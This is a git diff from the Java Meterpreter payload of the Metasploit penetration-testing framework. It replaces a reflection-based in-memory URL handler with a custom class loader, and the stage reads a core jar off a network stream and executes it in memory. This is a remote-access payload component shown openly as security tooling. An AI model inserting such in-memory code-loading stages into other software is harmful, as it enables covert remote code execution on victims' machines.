diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java new file mode 100755 index 00000000..642cac00 --- /dev/null +++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java @@ -0,0 +1,68 @@ +package com.metasploit.meterpreter; + +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.io.ByteArrayOutputStream; +import java.util.HashMap; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipEntry; + +public class JarFileClassLoader extends ClassLoader { + + HashMap<String, byte[]> resourceBytes = new HashMap(); + + public JarFileClassLoader(ClassLoader parent) { + super(parent); + } + + public JarFileClassLoader() { + super(); + } + + public void addJarFile(byte[] jarFile) throws java.io.IOException { + ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile)); + ZipEntry zipEntry; + final byte[] bytes = new byte[10000]; + while ((zipEntry = zipReader.getNextEntry()) != null) { + String name = zipEntry.getName(); + String packagedName = name; + ByteArrayOutputStream resourceStream = new ByteArrayOutputStream(); + + int result; + while ((result = zipReader.read(bytes, 0, bytes.length)) != -1) { + resourceStream.write(bytes, 0, result); + } + + resourceBytes.put(packagedName, resourceStream.toByteArray()); + } + } + + @Override + public InputStream getResourceAsStream(String name) { + if (!resourceBytes.containsKey(name)) { + return null; + } + byte[] resource = (byte[])resourceBytes.get(name); + return new ByteArrayInputStream(resource); + } + + @Override + public Class findClass(String name) throws ClassNotFoundException { + String packagedName = name.replace(".","/") + ".class"; + if (!resourceBytes.containsKey(packagedName)) { + throw new ClassNotFoundException(); + } + byte[] classfile = (byte[])resourceBytes.get(packagedName); + return defineClass(name, classfile, 0, classfile.length, null); + } + + @Override + public Class loadClass(String name) throws ClassNotFoundException { + try { + return super.loadClass(name); + } catch (ClassNotFoundException e) { + return findClass(name); + } + } +} + diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java deleted file mode 100644 index f9a60e27..00000000 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java +++ /dev/null @@ -1,108 +0,0 @@ -package com.metasploit.meterpreter; - -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.InputStream; -import java.lang.reflect.Field; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLConnection; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; - -/** - * An {@link URLConnection} for an URL that is stored completely in memory. - * - * @author mihi - */ -public class MemoryBufferURLConnection extends URLConnection { - - private static List files; - - static { - // tweak the cache of already loaded protocol handlers via reflection - try { - Field fld; - try { - fld = URL.class.getDeclaredField("handlers"); - } catch (NoSuchFieldException ex) { - try { - // GNU Classpath (libgcj) calls this field differently - fld = URL.class.getDeclaredField("ph_cache"); - } catch (NoSuchFieldException ex2) { - // throw the original exception - throw ex; - } - } - fld.setAccessible(true); - Map handlers = (Map) fld.get(null); - // Note that although this is a static initializer, it can happen - // that two threads are entering this spot at the same time: When - // there is more than one classloader context (e. g. in a servlet - // container with Spawn=0) and more than one of them is loading - // a copy of this class at the same time. Work around this by - // letting all of them use the same URL stream handler object. - synchronized (handlers) { - // do not use the "real" class name here as the same class - // loaded in different classloader contexts is not the same - // one for Java -> ClassCastException - Object /*MemoryBufferURLStreamHandler*/ handler; - - if (handlers.containsKey("metasploitmembuff")) { - handler = handlers.get("metasploitmembuff"); - } else { - handler = new MemoryBufferURLStreamHandler(); - handlers.put("metasploitmembuff", handler); - } - - // for the same reason, use reflection to obtain the files List - files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]); - } - } catch (Exception ex) { - throw new RuntimeException(ex.toString()); - } - } - - /** - * Create a new URL from a byte array and its content type. - */ - public static URL createURL(byte[] data, String contentType) throws MalformedURLException { - synchronized (files) { - files.add(data); - return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType); - } - } - - private final byte[] data; - private final String contentType; - - protected MemoryBufferURLConnection(URL url) { - super(url); - String file = url.getFile(); - int pos = file.indexOf('/'); - synchronized (files) { - data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos))); - } - contentType = file.substring(pos + 1); - } - - @Override - public void connect() throws IOException { - } - - @Override - public InputStream getInputStream() throws IOException { - return new ByteArrayInputStream(data); - } - - @Override - public int getContentLength() { - return data.length; - } - - @Override - public String getContentType() { - return contentType; - } -} diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java deleted file mode 100644 index b5a6192d..00000000 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.metasploit.meterpreter; - -import java.io.IOException; -import java.net.URL; -import java.net.URLConnection; -import java.net.URLStreamHandler; -import java.util.ArrayList; -import java.util.List; - -/** - * An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection} - * - * @author mihi - */ -public class MemoryBufferURLStreamHandler extends URLStreamHandler { - - private List files = new ArrayList(); - - @Override - protected URLConnection openConnection(URL u) throws IOException { - return new MemoryBufferURLConnection(u); - } - - public List getFiles() { - return files; - } -} diff --git a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java index ef10e2c1..6b220e26 100644 --- a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java +++ b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java @@ -5,20 +5,24 @@ import java.io.OutputStream; import java.net.URL; import java.net.URLClassLoader; -import com.metasploit.meterpreter.MemoryBufferURLConnection; +import metasploit.Payload; + +import com.metasploit.meterpreter.JarFileClassLoader; /** * Meterpreter Java Payload Proxy */ -public class Meterpreter implements Stage { +public class Meterpreter implements Stage { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { boolean noRedirectError = parameters[parameters.length - 1].equals("NoRedirect"); int coreLen = in.readInt(); byte[] core = new byte[coreLen]; in.readFully(core); - URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar"); - new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError)); + JarFileClassLoader loader = new JarFileClassLoader(getClass().getClassLoader()); + loader.addJarFile(core); + Class meterpCore = loader.loadClass("com.metasploit.meterpreter.Meterpreter"); + meterpCore.getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError)); in.close(); out.close(); } diff --git a/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java b/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java index eb7c55a0..a5198727 100644 --- a/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java +++ b/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java @@ -13,25 +13,10 @@ import java.util.zip.ZipEntry; import junit.framework.Assert; import junit.framework.TestCase; -import com.metasploit.meterpreter.MemoryBufferURLConnection; import com.metasploit.meterpreter.MeterpDummy; public class MeterpreterTest extends TestCase { - public void testMemoryBufferURLConnection() throws Exception { - final String CONTENT_TYPE = "application/x-unit-test-example"; - byte[] randomData = new byte[4096]; - new Random().nextBytes(randomData); - URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE); - URLConnection uc = url.openConnection(); - uc.connect(); - Assert.assertEquals(CONTENT_TYPE, uc.getContentType()); - Assert.assertEquals(4096, uc.getContentLength()); - ByteArrayOutputStream out = new ByteArrayOutputStream(); - StreamForwarder.forward(uc.getInputStream(), out); - Assert.assertEquals(new String(randomData, "ISO-8859-1"), out.toString("ISO-8859-1")); - } - public void testMeterpreterStage() throws Exception { // build dummy Meterpreter stage ByteArrayOutputStream baos = new ByteArrayOutputStream(); diff --git a/java/javapayload/src/test/java/metasploit/PayloadTest.java b/java/javapayload/src/test/java/metasploit/PayloadTest.java index 809f21e3..8621018a 100644 --- a/java/javapayload/src/test/java/metasploit/PayloadTest.java +++ b/java/javapayload/src/test/java/metasploit/PayloadTest.java @@ -39,7 +39,7 @@ import javax.crypto.spec.SecretKeySpec; import junit.framework.Assert; import junit.framework.TestCase; -import com.metasploit.meterpreter.MemoryBufferURLConnection; +import com.metasploit.meterpreter.JarFileClassLoader; public class PayloadTest extends TestCase { @@ -159,7 +159,7 @@ public class PayloadTest extends TestCase { return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[]{String[].class}).invoke(null, new Object[]{new String[0]}); } - private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception { + private JarFileClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName() + ".class"), baos); byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null; @@ -197,7 +197,7 @@ public class PayloadTest extends TestCase { jos.close(); byte[] payloadJar = baos.toByteArray(); final byte[] classToDefine = instrumentedPayloadClass; - return new URLClassLoader(new URL[]{MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) { + JarFileClassLoader jfcl = new JarFileClassLoader() { { if (classToDefine != null) { defineClass(null, classToDefine, 0, classToDefine.length); @@ -227,6 +227,8 @@ public class PayloadTest extends TestCase { return super.getResource(name); } }; + jfcl.addJarFile(payloadJar); + return jfcl; } private void handleSocketCommunication(Socket socket) throws Exception { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 023bb373..5dd47c0a 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -292,8 +292,8 @@ public class Meterpreter { public Integer[] loadExtension(byte[] data) throws Exception { ClassLoader classLoader = getClass().getClassLoader(); if (loadExtensions) { - URL url = MemoryBufferURLConnection.createURL(data, "application/jar"); - classLoader = new URLClassLoader(new URL[]{url}, classLoader); + JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader; + jarLoader.addJarFile(data); } JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data)); String loaderName = jis.getManifest().getMainAttributes().getValue("Extension-Loader");